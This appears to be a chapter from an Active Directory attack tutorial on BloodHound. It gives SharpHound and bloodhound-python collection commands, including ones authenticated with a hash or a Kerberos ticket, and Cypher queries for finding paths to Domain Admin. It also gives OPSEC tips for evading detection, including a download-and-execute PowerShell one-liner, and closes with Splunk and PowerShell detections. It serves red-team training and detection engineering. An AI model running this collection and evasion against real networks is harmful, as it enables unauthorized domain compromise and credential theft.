BloodHound Collection and Graph Analysis
Collecting AD relationship data with SharpHound, running attack-path Cypher queries in Neo4j, identifying shortest paths to Domain Admin, and building detection signatures from SharpHound's query patterns
You have a compromised standard user account in a 15,000-node AD environment. Manually tracing privilege paths through LDAP queries would take days. You run SharpHound — it takes 4 minutes and outputs 6 JSON files containing every user, group, computer, ACL edge, and session relationship in the domain. You load the data into BloodHound/Neo4j and query "shortest path from compromised user to Domain Admins." The result: your user → WriteDACL on SalesTeam group → SalesTeam contains ServiceAccountX → ServiceAccountX has AdminTo on JUMPSERVER01 → JUMPSERVER01 has session of DomainAdmin01. Five hops. Complete domain compromise in a single attack chain that no human analyst would have found manually.
BloodHound Architecture
SharpHound Collection
# All collection methods (most comprehensive but noisiest)
SharpHound.exe -c All
# Individual collection methods — control noise
SharpHound.exe -c DCOnly # only LDAP — no SMB, no session enum (quietest)
SharpHound.exe -c Default # LDAP + Sessions + LocalAdmins + ACLs
SharpHound.exe -c Session # only session enumeration (active logons)
SharpHound.exe -c LocalAdmin # local group membership via SMB (who has admin where)
SharpHound.exe -c ACL # ACL enumeration (privilege escalation paths)
# Common operational options
SharpHound.exe -c All \
--OutputDirectory C:\Windows\Temp \
--ZipFilename bloodhound.zip \
--RandomizeFilenames \ # randomize output filenames
--NoSaveCache \ # don't save cache file to disk
--SkipPasswordCheck \ # don't check default AD password policies
--Throttle 1000 \ # ms delay between LDAP queries
--Jitter 20 # 20% jitter on the throttle delay
# Output: 20241015_123456_BloodHound.zip (or custom name)
# Contains: Computers.json, Users.json, Groups.json,
# Domains.json, GPOs.json, OUs.json,
# Containers.json
# Size: typically 5-50MB for medium enterprise, 200MB+ for large
# Loop collection for session data (sessions change throughout day)
SharpHound.exe -c Session --Loop --LoopDuration 02:00:00 --LoopInterval 00:05:00
# Collects session data every 5 minutes for 2 hours
# More likely to catch privileged users logged in
BloodHound Alternatives — Linux/Python Collectors
# BloodHound.py — Python collector, runs from Linux (no domain join needed)
bloodhound-python -u user -p Password1! -d corp.local -dc dc01.corp.local \
-c All --zip
# With hash authentication
bloodhound-python -u user --hashes aad3b435b51404eeaad3b435b51404ee:fc525c96... \
-d corp.local -dc dc01.corp.local -c All
# With Kerberos ticket
export KRB5CCNAME=user.ccache
bloodhound-python -k -no-pass -u user -d corp.local -dc dc01.corp.local -c All
# RustHound — Rust implementation, very fast
rusthound -d corp.local -u user -p Password1! --ldaps --dc dc01.corp.local -o /tmp/bh
# Manual LDAP approach (for stealthy/specific queries without running BH binary)
# -- Chapter 104 LDAP code for individual attributes, combined manually
# Avoids the SharpHound binary signature entirely
Stealth Collection
| Method | Noise Level | Notes |
|---|---|---|
| DCOnly (LDAP only) | Low — looks like normal AD queries | No SMB traffic to workstations; misses session and local admin data |
| Full All with --Throttle 2000 --Jitter 30 | Medium — spread over time | Throttled collection over 20-60 minutes blends with background LDAP traffic |
| bloodhound-python from external machine | Medium — from non-domain-joined source | Source IP may be anomalous; use a compromised internal host |
| Manual LDAP queries (ch104 approach) | Lowest — custom code, no binary signature | Labor-intensive; build what you need rather than all-or-nothing BH collection |
| Session collection only at peak hours | Varies — SMB to workstations | Session enum generates SMB traffic to remote machines; targeted to specific workstations reduces noise |
Essential Cypher Queries
// BloodHound GUI built-in queries — the must-runs
// 1. Shortest path from owned user to Domain Admins
MATCH (n:User {owned: true}), (m:Group {name: "DOMAIN ADMINS@CORP.LOCAL"}),
p = shortestPath((n)-[*1..]->(m))
RETURN p
// 2. All principals with DCSync rights
MATCH p = (n)-[:DCSync]->(d:Domain)
RETURN p
// 3. All users with path to Domain Admins (top 10 shortest)
MATCH (u:User), (da:Group {name: "DOMAIN ADMINS@CORP.LOCAL"}),
p = shortestPath((u)-[*1..10]->(da))
WHERE NOT u.name = "ADMINISTRATOR@CORP.LOCAL"
RETURN u.name, length(p) as hops ORDER BY hops LIMIT 20
// 4. Find computers where Domain Admins have active sessions
MATCH (da:Group {name: "DOMAIN ADMINS@CORP.LOCAL"})-[:MemberOf*0..]->(da)
MATCH (da)<-[:MemberOf]-(u:User)
MATCH (u)-[:HasSession]->(c:Computer)
RETURN u.name, c.name
// 5. All outbound ACL edges from a specific user
MATCH (n:User {name: "JSMITH@CORP.LOCAL"})-[r]->(t)
WHERE type(r) IN ["GenericAll","GenericWrite","WriteDACL","WriteOwner",
"ForceChangePassword","AddMember","Owns","AllExtendedRights"]
RETURN type(r), t.name, labels(t)
// 6. Computers with unconstrained delegation (Golden Ticket extension targets)
MATCH (c:Computer {unconstraineddelegation: true})
WHERE NOT c.name CONTAINS "DC" // exclude DCs which always have this
RETURN c.name, c.operatingsystem
// 7. Service accounts vulnerable to Kerberoasting with high privilege
MATCH (u:User {hasspn: true})-[:MemberOf*0..]->(g:Group)
WHERE g.name CONTAINS "ADMIN" OR u.admincount = true
RETURN u.name, u.description, g.name
// 8. Find all paths through WriteDACL edges (common escalation)
MATCH p = (u:User)-[:WriteDACL*1..3]->(target)
WHERE target.name CONTAINS "DOMAIN ADMINS" OR target.admincount = true
RETURN p LIMIT 20
// 9. Local admin paths — computers where compromised user has admin
MATCH (u:User {name: "JSMITH@CORP.LOCAL"})-[:AdminTo]->(c:Computer)
RETURN c.name, c.operatingsystem, c.enabled
// 10. Owned node blast radius — what can owned users reach in 3 hops?
MATCH (n {owned: true}), (m)
WHERE NOT n = m
MATCH p = shortestPath((n)-[*1..3]->(m))
RETURN DISTINCT m.name, labels(m), length(p) as distance
ORDER BY distance LIMIT 50
Key Attack Path Patterns
OPSEC: Evading BloodHound Detection
Defenders with Microsoft Defender for Identity (MDI) or similar tools look for SharpHound's query patterns. The signatures include specific attribute sets, query timing, and volume:
- Binary signatures: SharpHound.exe is flagged by Defender/AMSI. Use encoded execution (
IEX (New-Object Net.WebClient).DownloadString(...)) or reflective load. bloodhound-python from an external Linux host avoids Windows binary detection entirely. - Query patterns: SharpHound requests
nTSecurityDescriptoron large numbers of objects — this is the most detectable pattern. Throttle with--Throttle 2000and--Jitter 25to spread over time. - Volume anomaly: A full DCOnly collection generates ~20,000 LDAP queries in seconds. This is detectable. Use collection interval spreading or manual targeted queries for specific paths.
- Manual Cypher replacement: For specific attack paths you already suspect, write targeted LDAP queries (ch104) instead of full BH collection. Enumerate only what you need.
Detection Engineering — Writing BloodHound Detections
-- Splunk: Detect BloodHound-style LDAP collection (Event 1644 or AD query log)
-- Enable on DC: Set-ADObject -Identity "CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=corp,DC=local" -Replace @{'msDS-Other-Settings'='ADAMObjectVersion=3,MaxValRange=5000;ADAMSchemaGuid=...;LDAPExpiredPassword=1'}
-- Or enable via registry: HKLM\System\CurrentControlSet\Services\NTDS\Diagnostics\15 Field Engineering = 5
index=wineventlog source=Security EventCode=1644
| rex field=_raw "Filter:\s+(?P\(.*?\))"
| where match(filter, "nTSecurityDescriptor") OR
match(filter, "servicePrincipalName=\*") OR
match(filter, "msDS-AllowedToDelegate")
| stats count by src_ip, user, filter
| where count > 50
-- MDI (Microsoft Defender for Identity) has built-in BloodHound detection:
-- Alert: "Active Directory Reconnaissance using LDAP"
-- Alert: "SAMR Enumeration" (from NetSessionEnum / SAM RPC calls)
-- Alert: "Account Enumeration" (mass account query)
-- Alert: "Security Principal Reconnaissance" (nTSecurityDescriptor bulk read)
-- PowerShell: Find accounts with unexpected Replication rights (DCSync backdoors)
# Check for non-DC accounts with DCSync ACEs on domain object
Get-ACL "AD:\DC=corp,DC=local" | select -ExpandProperty Access |
Where-Object {
$_.ActiveDirectoryRights -match "ExtendedRight" -and
$_.ObjectType -match "1131f6a[ab]-9c07-11d1-f79f-00c04fc2dcd2"
} | Select IdentityReference, ActiveDirectoryRights, ObjectType
Q&A
What's the difference between AdminTo edges and HasSession edges in BloodHound, and why do both matter?
AdminTo represents a static configuration — a user or group that is a local administrator on a specific computer. This comes from enumeration of local group membership. It means: if you compromise this user, you can do anything on that computer (dump LSASS, install software, exfiltrate data). HasSession represents a dynamic state — a user who currently (or recently) has an active logon session on a computer. This comes from NetSessionEnum RPC calls (session enumeration). It means: if you have administrative access to the computer, you can steal the credentials of this user from LSASS or their Kerberos tickets. The attack chain combining both: (1) you control LowPrivUser, (2) LowPrivUser has AdminTo on Workstation01, (3) DomainAdmin01 has HasSession on Workstation01. This means you can compromise Workstation01 as LowPrivUser, and once you're local admin there, dump the DA's TGT from LSASS. The combination of AdminTo + HasSession is one of the most common real-world attack paths to domain compromise. BloodHound automatically finds these chains via Cypher shortest-path queries.
How does BloodHound enumerate local admin relationships at scale without generating excessive noise?
SharpHound's LocalAdmin collection uses NetLocalGroupGetMembers() via RPC (the SAMR protocol over named pipes) to query each computer's local Administrators group. To enumerate 5,000 computers, it sends 5,000 SAMR calls, one per machine. This generates: (a) Event 4799 ("A security-enabled local group membership was enumerated") on each target machine, and (b) SMB connection events. The noise is high because it touches every active computer in the domain. Throttling (--Throttle and --Jitter) slows but doesn't eliminate the 4799 events. An alternative is GPO-based collection: if Resultant Set of Policy (RSoP) logging is enabled, you can derive local admin relationships from GPO processing without making SMB calls to each machine. SharpHound can also collect via LDAP alone (DCOnly) which gets group-to-computer relationships via AD group objects and GPO-applied groups, but misses local groups set outside of GPO. For operations requiring stealth, skip LocalAdmin collection (use -c Default or DCOnly) and rely on existing GenericAll/AdminTo edges for path finding — local admin data matters for session-theft paths, but ACL-based paths (GenericWrite, WriteDACL) don't require it.